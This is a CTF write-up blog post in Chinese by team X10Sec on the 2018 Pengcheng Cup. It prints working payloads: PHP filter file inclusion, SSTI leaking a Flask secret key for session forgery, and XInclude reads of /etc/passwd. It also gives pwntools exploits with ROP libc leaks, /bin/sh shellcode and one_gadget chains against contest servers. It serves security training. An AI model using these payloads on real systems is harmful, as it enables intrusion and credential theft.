鹏城杯 2018 WriteUp by X10Sec

  • A+
所属分类:安全博客

前言

上一年年底划水的比赛,忘记发 WriteUp 了,补发一下。

SignIn - Welcome (50pt)

微信搜索"合天智汇",关注公众号
发送pcb2018获取flag

flag{ausjnhjajfjakjw45}

Misc - Traffic Light (100pt)

图片隐写
http://58.20.46.148:40001/pcb/misc/Traffic_Light.gif
http://58.20.46.149:40001/pcb/misc/Traffic_Light.gif

红灯1,黄灯换行,绿灯0

01100110
01101100
01100001
01100111
01111011
01010000
01101100
00110011
00110100
01110011
00110011
01011111
01110000
00110100
01111001
01011111
00110100
01110100
01110100
00110011
01101110
01110100
00110001
00110000
01101110
01011111
01110100
00110000
01011111
01110100
01110010
00110100
01100110
01100110
00110001
01100011
01011111
01110011
00110100
01100110
00110011
01110100
01111001
01011111
01110111
01101000
00110011
01101110
01011111
01111001
00110000
01110101
01011111
00110100
01110010
00110011
01011111
00110000
01110101
01110100
01110011
00110001
01100100
00110011
01111101

flag{Pl34s3_p4y_4tt3nt10n_t0_tr4ff1c_s4f3ty_wh3n_y0u_4r3_0uts1d3}

Web - myblog (100pt)

访问 index.php,Header 中有 flag: JTNGZmxhZw== ,解出来是 ?flag

访问 http://58.20.46.150:26293/index.php?flag=php://filter/read=convert.base64-encode/resource=index

得到 index.php 的源码

<?php 
        header('flag: JTNGZmxhZw==');
        if(isset($_GET["flag"])){
                $flag = $_GET["flag"];
                include $flag.".php";
        }
?>

根据题目提示,about 有后端,about 中提到了 base64,发现存在页面(about的base64) YWJvdXQ=.php

访问 http://58.20.46.150:26293/index.php?flag=php://filter/read=convert.base64-encode/resource=YWJvdXQ=

得到 YWJvdXQ=.php 的源码

<?php

        $filename = 'flag.txt';
        $flag = 'flag.txt';
        extract($_GET);

        if(isset($sign)){
                $file = trim(file_get_contents($filename));
                if($sign === $file){
                        echo 'Congratulation!<br>';
                        echo file_get_contents($$falg);
                }
                else{
                        echo 'don`t give up';
                }
        }

?>

构造链接,访问 http://58.20.46.150:26293/YWJvdXQ=.php?sign=&filename=&falg=flag 得到 flag

flag{nev1r_g1ve_8p_adf}

Web - shadow (200pt)

shadow
58.20.46.147:25148

404 页面存在 SSTI 漏洞,过滤了 ( / )

通过链接,http://58.20.46.147:25148/%7B%7Burl_for.__globals__['current_app'].config%7D%7D

知道了 SECRET_KEYas/*d21as-+dhasod5a4s54:><*()dfdsf

注册帐号并且登录,发现存在一个 /upload 页面,提示需要是 admin 才可以访问

通过链接 http://58.20.46.147:25148/%7B%7Burl_for.__globals__['session']%7D%7D

能看到当前的 Session 结构,修改 user_id name is_admin 这几个参数。

通过上面获取到的 SECRET_KEY ,本地使用 flask 生成对应的 Session

<SecureCookieSession {u'csrf_token': u'1abb761f782793fc7ea7f6f2725d5718a3646a79', u'_id': u'0be81d47fc5f516d79dd9d3800538e277cd22f53845f35320fdb1ea4625d7679daa6206e47b035ea467221b56e06dfec3ccf0d0819a74fef09a9f62141de94de', u'user_id': u'1', u'name': u'admin', u'is_admin': True, u'_fresh': False}>

得到对应的 Session,然后修改成自己生成的伪造 Session,修改完后我的 Session 结构就是这样子的。

打开首页,跳转到 /upload 页面

提示上传 Plan,然后名字为 xml 推测是一个 XXE 漏洞

通过:

<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="file:///etc/passwd" parse="text"/></root>

发现了这个用户

rq:x:1000:1000:VM_ubuntu16.04-5,,,:/home/rq:/bin/bash

通过

<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="file:///home/rq/.bash_history" parse="text"/></root>

得到了 flag 的文件名是 f123333333ag

通过

<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="file:///home/rq/f123333333ag" parse="text"/></root>

得到了 g{445b40b69867325f6145eca1e77fc8e1},手动补齐即可

flag{445b40b69867325f6145eca1e77fc8e1}

Reverse - badblock (350pt)

鹏城杯 2018 WriteUp by X10Sec

跟踪进关键函数 sub_2E60 ,发现很复杂,手撸搞不定。

鹏城杯 2018 WriteUp by X10Sec

尝试用 pintool 来解

不过 pintool 好像有点问题,需要作修改

第 128 行:
password = tempassword[:i-1] + '\\'+char + tempassword[i:]
要改成
password = initpass+'\\'+char+tempassword[i+1:]

鹏城杯 2018 WriteUp by X10Sec

能跑出结果

Flag: flag{Y0u_ar3_S0co0L}

Crypto - easyCrypto (200pt)

题目忘记存了。。凉凉。。

不过队友存了,可以重新分析一下:

#!usr/bin/python 
#_*_ coding=UTF-8 _*_

from Crypto.Cipher import AES
from binascii import b2a_hex, a2b_hex
from Crypto import Random
import sys
from FLAG import flag

class aesdemo:
    #aes = AES.new(key,mode)
    def __init__(self,key):
        self.key = key
        #self.BS=BS


    def pad(self,msg):
        #BS = AES.block_size 
        # aes数据分组长度为128 bit
        byte = 16 - len(msg) % 16
        return msg + chr(byte) * byte
    def unpad(msg):
        if not msg:
            return ''
        return msg[:-ord(msg[-1])]      

    def xor(self,a, b):
            #assert len(a) == len(b)
            return ''.join([chr(ord(ai)^ord(bi)) for ai, bi in zip(a,b)])

    def split_by(self,data,step):
            return [data[i : i+step] for i in xrange(0, len(data), step)]

    def encrypt(self, plaintext):
        # 生成随机初始向量IV
        iv = Random.new().read(16)
        aes = AES.new(self.key,AES.MODE_CBC,iv)
        prev_pt = iv
        prev_ct = iv
        ct=""

        msg=self.pad(plaintext)
        for block in self.split_by(msg, 16):
            ct_block = self.xor(block, prev_pt)
            ct_block = aes.encrypt(ct_block)
            ct_block = self.xor(ct_block, prev_ct)
            ct += ct_block

        return b2a_hex(iv + ct)



# 测试模块
if __name__ == '__main__':
    BS = AES.block_size # aes数据分组长度为128 bit
    key="asdfghjkl1234567890qwertyuiopzxc"
    demo = aesdemo(key)
    e = demo.encrypt(flag)
    print("加密:", e)

AES 算法,加上 strxor 处理

题目提供了加密后的 ee 中前 16 字节为 iv,密钥 key 已知,所以可以解密。

分组先与 iv 进行 strxor,然后 AES 解密,然后结果再与 iv 进行 strxor,得到明文。

每 16 字节一组,因为 AES 是分组加密。

贴上解密脚本:

#!usr/bin/python 
#_*_ coding=UTF-8 _*_

from Crypto.Cipher import AES
from binascii import b2a_hex, a2b_hex
from Crypto import Random
import sys

class aesdemo:
    #aes = AES.new(key,mode)
    def __init__(self,iv,key):
        self.iv = iv
        self.key = key
        #self.BS=BS


    def pad(self,msg):
        #BS = AES.block_size 
        # aes数据分组长度为128 bit
        byte = 16 - len(msg) % 16
        return msg + chr(byte) * byte
    def unpad(msg):
        if not msg:
            return ''
        return msg[:-ord(msg[-1])]      

    def xor(self,a, b):
            #assert len(a) == len(b)
            return ''.join([chr(ord(ai)^ord(bi)) for ai, bi in zip(a,b)])

    def split_by(self,data,step):
            return [data[i : i+step] for i in xrange(0, len(data), step)]

    def decrypt(self, plaintext):
        aes = AES.new(self.key,AES.MODE_CBC,self.iv)
        prev_pt = self.iv
        prev_ct = self.iv
        ct=""

        msg=self.pad(plaintext)
        for block in self.split_by(msg, 16):
            ct_block = self.xor(block, prev_pt)
            ct_block = aes.decrypt(ct_block)
            ct_block = self.xor(ct_block, prev_ct)
            ct += ct_block

        return ct



# 测试模块
if __name__ == '__main__':
    BS = AES.block_size # aes数据分组长度为128 bit
    enc='ivivivivivivivivxxxxxxxxxxxxxxxxxxxxxx'.decode('hex')
    key="asdfghjkl1234567890qwertyuiopzxc"
    demo = aesdemo(enc[:16],key)
    d = demo.decrypt(enc[16:])
    print("Flag: ", d)

Flag: pcbctf{345f3_asss3_loasd_aswew}

Reverse - happy (200pt)

在文件里能看到这样一串东西,网上搜了下,查到是 UPX 压缩后的标识信息,不过文件里本来应该出现的 UPX 字符串被替换成 \xAA\xAA\xAA ,这是为了不被识别出来是哪种 packer

鹏城杯 2018 WriteUp by X10Sec

我们可以把文件里多处 \xAA\xAA\xAA 替换回 UPX ,然后使用 upx -d happy 解压回原文件。

鹏城杯 2018 WriteUp by X10Sec

分析原文件,分析如下

鹏城杯 2018 WriteUp by X10Sec

直接写脚本

from Crypto.Cipher import DES

key='hAppysad'
iv='hAppysad'
r=DES.new(key, DES.MODE_ECB, iv)
print r.decrypt('\x27\x42\xAC\xA6\x4B\x90\xA4\x7D\x47\x40\xCC\x45\x7F\xA1\x2C\xBC\x83\x52\x5E\x51\x60\xF9\xEE\x4F\x3D\x68\xDD\xDE\xE8\x74\xFA\x1A\x53\x22\x5B\x13\xC7\xE5\x7A\x5E\x58\x80\xB0\x65\x99\xF1\x5B\x4F')

Flag: flag{If_u_kn0w_bas364_aNd_d3S_u_Wil1_be_happY}

Reverse - Ctopia (200pt)

一个不错的游戏,逆向出来的有点复杂。不过关键在 KEY DECRYPTING 这里,通关就能得到 key

鹏城杯 2018 WriteUp by X10Sec

游戏有点难玩,不过可以直接用 Cheat Engine 改内存,锁定血量 _HP 和 钻石值 _bullets ,然后玩通关就可以了。

打到雪人那关,怪物数量没打够,直接改 dword_526F2C > 6 ,跳到下一关。

通关拿到 Flag

鹏城杯 2018 WriteUp by X10Sec

Flag: flag{a2fdkd80xo}

Reverse - flow (200pt)

CaR.exe 文件,打开提示缺少 python27.dll 文件

猜测是 py2exe 生成的文件

使用 python-exe-unpacker 解包得到源代码

# uncompyle6 version 2.11.5
# Python bytecode 2.7 (62211)
# Decompiled from: Python 2.7.14 (v2.7.14:84471935ed, Sep 16 2017, 20:25:58) [MSC v.1500 64 bit (AMD64)]
# Embedded file name: CaR.py
# Compiled at: 2018-12-02 12:54:51
import sys
import os
import hashlib
import time
import base64
import random
import itertools
from flag import flag

class l1l11l11l1l1l:

    def __init__(self, public_l1l1l1l111l=None, cl1l1l1l111l_lenth=16):
        self.cl1l1l1l111l_lenth = cl1l1l1l111l_lenth
        self.public_l1l1l1l111l = public_l1l1l1l111l
        l1l1l1l111l = hashlib.md5(self.public_l1l1l1l111l.encode('utf-8')).hexdigest()
        self.l1l1l1l111la = hashlib.md5(l1l1l1l111l[0:16].encode('utf-8')).hexdigest()
        self.l1l1l1l111lb = hashlib.md5(l1l1l1l111l[16:32].encode('utf-8')).hexdigest()
        self.l1l1l1l111lc = ''

    def encode(self, string):
        self.l1l1l1l111lc = hashlib.md5(str(1234).encode('utf-8')).hexdigest()[32 - self.cl1l1l1l111l_lenth:32]
        string = '0000000000' + hashlib.md5((string + self.l1l1l1l111lb).encode('utf-8')).hexdigest()[0:16] + string
        self.result = ''
        self.docrypt(string)
        return str(self.l1l1l1l111lc + base64.b64encode(self.result))

    def docrypt(self, string):
        string_lenth = len(string)
        result = ''
        l1l1l1l1l1l = list(range(256))
        randl1l1l1l111l = []
        cryptl1l1l1l111l = self.l1l1l1l111la + hashlib.md5((self.l1l1l1l111la + self.l1l1l1l111lc).encode('utf-8')).hexdigest()
        l1l1l1l111l_lenth = len(cryptl1l1l1l111l)
        for l1l1l1lll1l1l1 in range(255):
            randl1l1l1l111l.append(ord(cryptl1l1l1l111l[l1l1l1lll1l1l1 % l1l1l1l111l_lenth]))

        for l1l1l1lll1l1l1 in range(255):
            l1l1l1l1l1l1 = 0
            l1l1l1l1l1l1 = (l1l1l1l1l1l1 + l1l1l1l1l1l[l1l1l1lll1l1l1] + randl1l1l1l111l[l1l1l1lll1l1l1]) % 256
            l1l1l1ll1l1l = l1l1l1l1l1l[l1l1l1lll1l1l1]
            l1l1l1l1l1l[l1l1l1lll1l1l1] = l1l1l1l1l1l[l1l1l1l1l1l1]
            l1l1l1l1l1l[l1l1l1l1l1l1] = l1l1l1ll1l1l

        for l1l1l1lll1l1l1 in range(string_lenth):
            ll1lll1l1l1l = l1l1l1l1l1l1 = 0
            ll1lll1l1l1l = (ll1lll1l1l1l + 1) % 256
            l1l1l1l1l1l1 = (l1l1l1l1l1l1 + l1l1l1l1l1l[ll1lll1l1l1l]) % 256
            l1l1l1ll1l1l = l1l1l1l1l1l[ll1lll1l1l1l]
            l1l1l1l1l1l[ll1lll1l1l1l] = l1l1l1l1l1l[l1l1l1l1l1l1]
            l1l1l1l1l1l[l1l1l1l1l1l1] = l1l1l1ll1l1l
            self.result += chr(ord(string[l1l1l1lll1l1l1]) ^ l1l1l1l1l1l[(l1l1l1l1l1l[ll1lll1l1l1l] + l1l1l1l1l1l[l1l1l1l1l1l1]) % 256])


def ll1l1l1l1l1_chng(ll1l1l1l1l1):
    W = 4
    perm = range(W)
    random.shuffle(perm)
    while len(ll1l1l1l1l1) % (2 * W):
        ll1l1l1l1l1 += '.'

    for l1l1l1lll1l1l1 in xrange(100):
        ll1l1l1l1l1 = ll1l1l1l1l1[1:] + ll1l1l1l1l1[:1]
        ll1l1l1l1l1 = ll1l1l1l1l1[0::2] + ll1l1l1l1l1[1::2]
        ll1l1l1l1l1 = ll1l1l1l1l1[1:] + ll1l1l1l1l1[:1]
        res = ''
        for l1l1l1l1l1l1 in xrange(0, len(ll1l1l1l1l1), W):
            for ll1l1l1l1l1ll in xrange(W):
                res += ll1l1l1l1l1[l1l1l1l1l1l1:l1l1l1l1l1l1 + W][perm[ll1l1l1l1l1ll]]

        ll1l1l1l1l1 = res

    return ll1l1l1l1l1


if __name__ == '__main__':
    rc = l1l11l11l1l1l('sdfgowormznsjx9ooxxx')
    string = flag
    string = ll1l1l1l1l1_chng(string)
    st = rc.encode(string)
    print st

源代码里的变量被混淆了一下,不过没关系,做一些替换,可以很快得知加密流程

关键点是那个异或,不过可以逆回来。然后 ll1l1l1l1l1_chng 字符排序,再调用 4 次排序,可以得到排序之前的内容。

那么不难写出解密脚本

import sys
import os
import hashlib
import time
import base64
import random
import itertools

class l1l11l11l1l1l:

    def __init__(self, public_l1l1l1l111l=None, cl1l1l1l111l_lenth=16):
        self.cl1l1l1l111l_lenth = cl1l1l1l111l_lenth
        self.public_l1l1l1l111l = public_l1l1l1l111l
        l1l1l1l111l = hashlib.md5(self.public_l1l1l1l111l.encode('utf-8')).hexdigest()
        self.l1l1l1l111la = hashlib.md5(l1l1l1l111l[0:16].encode('utf-8')).hexdigest()
        self.l1l1l1l111lb = hashlib.md5(l1l1l1l111l[16:32].encode('utf-8')).hexdigest()
        self.l1l1l1l111lc = ''

    def encode(self, string):
        self.l1l1l1l111lc = hashlib.md5(str(1234).encode('utf-8')).hexdigest()[32 - self.cl1l1l1l111l_lenth:32]
        string = '0000000000' + hashlib.md5((string + self.l1l1l1l111lb).encode('utf-8')).hexdigest()[0:16] + string
        self.result = ''
        self.docrypt(string)
        return str(self.l1l1l1l111lc + base64.b64encode(self.result))

    def decode(self, string):
        self.l1l1l1l111lc = hashlib.md5(str(1234).encode('utf-8')).hexdigest()[32 - self.cl1l1l1l111l_lenth:32]
        string = base64.b64decode(string[16:])
        self.result = ''
        self.docrypt(string)
        return str(self.result)

    def docrypt(self, string):
        string_lenth = len(string)
        result = ''
        l1l1l1l1l1l = list(range(256))
        randl1l1l1l111l = []
        cryptl1l1l1l111l = self.l1l1l1l111la + hashlib.md5((self.l1l1l1l111la + self.l1l1l1l111lc).encode('utf-8')).hexdigest()
        l1l1l1l111l_lenth = len(cryptl1l1l1l111l)
        for l1l1l1lll1l1l1 in range(255):
            randl1l1l1l111l.append(ord(cryptl1l1l1l111l[l1l1l1lll1l1l1 % l1l1l1l111l_lenth]))

        for l1l1l1lll1l1l1 in range(255):
            l1l1l1l1l1l1 = 0
            l1l1l1l1l1l1 = (l1l1l1l1l1l1 + l1l1l1l1l1l[l1l1l1lll1l1l1] + randl1l1l1l111l[l1l1l1lll1l1l1]) % 256
            l1l1l1ll1l1l = l1l1l1l1l1l[l1l1l1lll1l1l1]
            l1l1l1l1l1l[l1l1l1lll1l1l1] = l1l1l1l1l1l[l1l1l1l1l1l1]
            l1l1l1l1l1l[l1l1l1l1l1l1] = l1l1l1ll1l1l

        for l1l1l1lll1l1l1 in range(string_lenth):
            ll1lll1l1l1l = l1l1l1l1l1l1 = 0
            ll1lll1l1l1l = (ll1lll1l1l1l + 1) % 256
            l1l1l1l1l1l1 = (l1l1l1l1l1l1 + l1l1l1l1l1l[ll1lll1l1l1l]) % 256
            l1l1l1ll1l1l = l1l1l1l1l1l[ll1lll1l1l1l]
            l1l1l1l1l1l[ll1lll1l1l1l] = l1l1l1l1l1l[l1l1l1l1l1l1]
            l1l1l1l1l1l[l1l1l1l1l1l1] = l1l1l1ll1l1l
            self.result += chr(ord(string[l1l1l1lll1l1l1]) ^ l1l1l1l1l1l[(l1l1l1l1l1l[ll1lll1l1l1l] + l1l1l1l1l1l[l1l1l1l1l1l1]) % 256])


def ll1l1l1l1l1_chng(ll1l1l1l1l1,perm=range(4)):
    W = 4
    while len(ll1l1l1l1l1) % (2 * W):
        ll1l1l1l1l1 += '.'

    for l1l1l1lll1l1l1 in xrange(100):
        ll1l1l1l1l1 = ll1l1l1l1l1[1:] + ll1l1l1l1l1[:1]
        ll1l1l1l1l1 = ll1l1l1l1l1[0::2] + ll1l1l1l1l1[1::2]
        ll1l1l1l1l1 = ll1l1l1l1l1[1:] + ll1l1l1l1l1[:1]
        res = ''
        for l1l1l1l1l1l1 in xrange(0, len(ll1l1l1l1l1), W):
            for ll1l1l1l1l1ll in xrange(W):
                res += ll1l1l1l1l1[l1l1l1l1l1l1:l1l1l1l1l1l1 + W][perm[ll1l1l1l1l1ll]]

        ll1l1l1l1l1 = res

    return ll1l1l1l1l1


if __name__ == '__main__':
    rc = l1l11l11l1l1l('sdfgowormznsjx9ooxxx')
    enc = '0036dbd8313ed055NJD5H1Ufzl75UaWI1cx5LhPakoAYjaJoFBfo43mD4N1z10Toq/vp0kvUdipF0okSz5R5eolqhcyo9q78HeO04uMs'
    dec = rc.decode(enc)[26:]
    for i in itertools.permutations(range(4)):
        s = dec
        for j in range(4):
            s = ll1l1l1l1l1_chng(s,list(i))
            if s.startswith('flag{'): print s

Flag: flag{440cd15f71377f76ea1f8f9112d2796e}

PWN - overInt (100pt)

程序中有 3 个 check 。其中第一个 check 是根据输入的 4 个字节来计算一个返回值,如果返回值不等于指定的值,就 exit

第二个 check 是可以自由控制输入的次数,将每次的输入经过一定的运算得到一个返回值,再判断该返回值是不是指定的值

第三个 check 是将第一次输入的4个字节跟指定的值进行处理,判断处理后的值是否满足条件

最后程序可以在栈中写入数据,简单ROP去 leak libc + leak got + retn to system 就行!

在做题的时候我是先 leak 了 libc 版本,得到了 libc 文件的

贴上脚本:

#coding:UTF-8
_read=0x00000000000F7250
buf=0x00007FFE86B47770
tar=0x00007FFE86B477A8
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
Debug=0
if Debug:
    io=process('./overInt')
    elf=ELF('./overInt')
else:
    io=remote('58.20.46.150',35104)
    elf=ELF('./overInt')
def main():
    pause()
    io.recv()
    io.send('\x02\x02\x47\x7e')
    io.recv()
    io.send('\x05\x00\x00\x00')
    io.recv()
    for i in range(4):
        io.send('\x00\x00\x00\x00')
    io.send('\x72\x33\x63\x20')
    io.recv()
    io.send('\x20\x00\x00\x00')
    payload1=p64(0x400b13)+p64(elf.got['read'])+p64(elf.plt['puts'])+p64(0x00000000004005D0)
    io.recv()
    for i in range(32):
        sleep(0.1)
        io.send(p32(tar-buf+i))
        sleep(0.1)
        io.recv()
        io.send(payload1[i])
    print io.recvuntil('hello!')
    read_addr=u64((io.recv(6)+'\x00\x00'))
    libc_addr=read_addr-_read
    print hex(libc_addr)    
    #io.interactive()
    io.recv()
    io.send('\x02\x02\x47\x7e')
    io.recv()
    io.send('\x05\x00\x00\x00')
    io.recv()
    for i in range(4):
        io.send('\x00\x00\x00\x00')
    io.send('\x72\x33\x63\x20')
    io.recv()
    io.send('\x18\x00\x00\x00')
    payload1=p64(0x400b13)+p64(libc_addr+0x000000000018CD57)+p64(libc_addr+0x0000000000045390)
    io.recv()
    for i in range(24):
        sleep(0.1)
        io.send(p32(tar-buf+i))
        sleep(0.1)
        io.recv()
        io.send(payload1[i])
    io.interactive()
if __name__=='__main__':
    main()

Flag: flag{446561616dasfafasfs865a61651616aad}

PWN - note (200pt)

这题真的无语了。。队友自己一个人创建了一个队伍,做出来了。将 exp 发了上来。

然后环境ip和端口每队都不一样,拿到的flag也不一样。忘记改ip和端口了,直接跑队友给的exp,拿到flag,一提交就被检测出来,系统自动放弃了这题。。。真的无语了。。。

通过 sub_12C7 函数的栈溢出覆盖变量发生数组溢界,使 exit 的 got 地址修改成我们 malloc 返回的 chunk 的地址,再申请一些 chunk,在里面布置 shellcode 就行了,因为 shellcode 不连续,因此要使用了 jmp 相对位移的汇编指令,每执行一段 shellcode 就跳到另一段 chunk 的 shellcode 中继续执行!

最后触发 exit,getshell!

贴上脚本:

from pwn import *
bss=0x000055689C9900A0
got_exit=0x000055835802C060
num=(got_exit-bss)/8
#0xFFFFFFF8
context(os='linux',arch='amd64',log_level='debug')
Debug=0
if Debug:
    io=process('./note')
    elf=ELF('./note')
else:
    io=remote('58.20.46.149',41643)
    elf=ELF('./note')
pause()
io.recv()

payload1='\x48\x31\xff\x57\x57\x5e\x5a\xeb\x17'
payload2='\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\xeb\x14'
payload3='\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05'

io.sendline('1')#malloc
sleep(0.1)
io.sendline('0')#index
sleep(0.1)
#io.send('13\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xf8\x00')
io.send('13\x00\x00\x00\x00\x00\x00\x00\x00\xf8\xff\xff\xff\x00')
sleep(0.1)
io.sendline(payload1)
sleep(0.1)
io.sendline('1')
sleep(0.1)
io.sendline('1')
sleep(0.1)
io.sendline('13')
sleep(0.1)
io.sendline(payload2)
sleep(0.1)
io.sendline('1')
sleep(0.1)
io.sendline('2')
sleep(0.1)
io.sendline('13')
sleep(0.1)
io.sendline(payload3)
sleep(0.1)
io.sendline('5')
io.interactive()

Flag: flag{AAD653CA3EE669635F2938B73098B6D7}

PWN - treasure (200pt)

程序中循环执行我们输入的 shellcode ,但 shellcode 长度限制为 9 字节,在执行我们的 shellcode 的时候可以发现在 rsp 附近有个 libc 的地址,因为之前几道题目的 libc 版本都是 2.23 ,因此猜测这道题目的环境也是 2.23 ,因此 shellcode 通过 r14 寄存器来保存 libc 的地址,再对 r14 寄存器进行 add ,使得 r14 寄存器中保存的是 libc2.23 one_gadget 的地址,最后 push r14。get shell!

贴上脚本:

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
Debug=0
if Debug:
    io=process('./treasure')
else:
    io=remote('58.20.46.149',44323)

payload1=asm('mov r14,[rsp+32]').ljust(9,'\x90')
payload2=asm('add r14,149990').ljust(9,'\x90')
payload3=(asm('add rsp,24')+asm('push r14')).ljust(9,'\x90')

pause()
io.recvuntil("will you continue?(enter 'n' to quit) :")
sleep(0.1)
io.sendline('y')
sleep(0.1)
io.recvuntil("start!!!!")
sleep(0.1)
io.send(payload1)

io.recvuntil("will you continue?(enter 'n' to quit) :")
sleep(0.1)
io.sendline('y')
sleep(0.1)
io.recvuntil("start!!!!")
sleep(0.1)
io.send(payload2)

io.recvuntil("will you continue?(enter 'n' to quit) :")
sleep(0.1)
io.sendline('y')
sleep(0.1)
io.recvuntil("start!!!!")
sleep(0.1)
io.send(payload3)

sleep(0.1)
io.interactive()

Flag: flag{3fb0f05dc5b5ccc820c626fc471c0c36}

Source: impakho.com | Author:impakho

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: